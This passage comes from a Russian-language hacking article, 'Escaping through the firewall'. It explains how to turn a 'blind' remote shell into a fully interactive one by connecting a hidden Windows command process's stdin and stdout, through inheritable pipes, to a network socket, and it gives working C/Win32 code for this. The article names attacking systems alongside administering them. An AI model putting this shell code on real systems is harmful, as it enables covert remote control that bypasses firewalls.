Побег через брандмаузер

         

Полноценный shell


Для комфортного администрирования удаленной системы (равно как и атаке на нее) возможностей "слепого" shell'а более чем недостаточно и неудивительно если у вас возникнет желание хоть чуточку его улучшить, достигнув "прозрачного" взаимодействия с терминалом. И это действительно можно сделать! В этом нам помогут каналы (они же "пайпы"– от английского pipe).

Каналы, в отличии от сокетов, вполне корректно подключаются к дескрипторам ввода/вывода и порожденный процесс работает с ними точно так же, как и со стандартным локальным терминалом, за тем исключением, что вызовы WriteConsole никогда не перенаправляются в пайм и потому удаленный терминал может работать далеко не со всеми консольными приложениями.

Корректно написанный shell требует создания как минимум двух пайпов – один будет обслуживать стандартный ввод, соответствующий дескриптору hStdInput, другой – стандартный вывод, соответствующий дескрипторам hStdOutput и hStdError. Дескрипторы самих пайпов обязательно должны быть наследуемыми, в противном случае порожденный процесс просто не сможет до них "дотянуться". А как сделать их наследуемыми? Да очень просто – всего лишь взвести флаг bInheritHandle в состояние TRUE, передавая его функции CreatePipe вместе со структурой LPSECURITY_ATTRIBUTES, инициализированной вполне естественным образом.

Остается подготовить структуру STARTUPINFO, сопоставив дескрипторы стандартного ввода/вывода наследуемым каналам, и ни в коем случае не забыть взвести флаг STARTF_USESTDHANDLES, иначе факт переназначения стандартных дескрипторов будет наглым образом проигнорирован.

Однако, это еще не все и самое интересное нас ждет впереди! Для связывания каналов с сокетом удаленного терминала, нам потребуется реализовать специальный резидентный диспетчер, считывающий поступающие данные и перенаправляющий их в сокет или канал. Вся сложность в том, что проверка наличия данных в сокете (канале) должна быть неблокируемой, в противном случае нам потребуются два диспетчера, каждый из которых будет выполняться в "своем" потоке, что согласитесь, громоздко, некрасиво и неэлегантно.


Обратившись к Platform SDK, мы найдем две полезных функции: PeerkNamePipe и ioctlsocket. Первая отвечает за неблокируемое измерение "глубины" канала, а вторая обслуживает сокеты. Теперь диспетчеризация ввода/вывода становится тривиальной.

sa.lpSecurityDescriptor           = NULL;

sa.nLength                        = sizeof(SECURITY_ATTRIBUTES);

sa.bInheritHandle                 = TRUE;  //allow inheritable handles

if (!CreatePipe(&cstdin,  &wstdin,  &sa, 0))    return -1; //create stdin pipe

if (!CreatePipe(&rstdout, &cstdout, &sa, 0))    return -1; //create stdout pipe

GetStartupInfo(&si);              //set startupinfo for the spawned process

si.dwFlags    = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

si.wShowWindow       = SW_HIDE;

si.hStdOutput = cstdout;



si.hStdError  = cstdout;     //set the new handles for the child process

si.hStdInput  = cstdin;

//spawn the child process

if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi)) return -1;

while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))

{

       //check to see if there is any data to read from stdout      

       if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)

       {

              for (a = 0; a < total; a += MAX_BUF_SIZE)

              {

                     ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);

                     send(csocket, buf, N, 0);

              }

       }

      

       if (!ioctlsocket(csocket, FIONREAD , &N) && N)

       {

              recv(csocket, buf, 1, 0);

              if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);

              WriteFile(wstdin, buf, 1, &N, 0);

       }

       Sleep(1);

}


Содержание раздела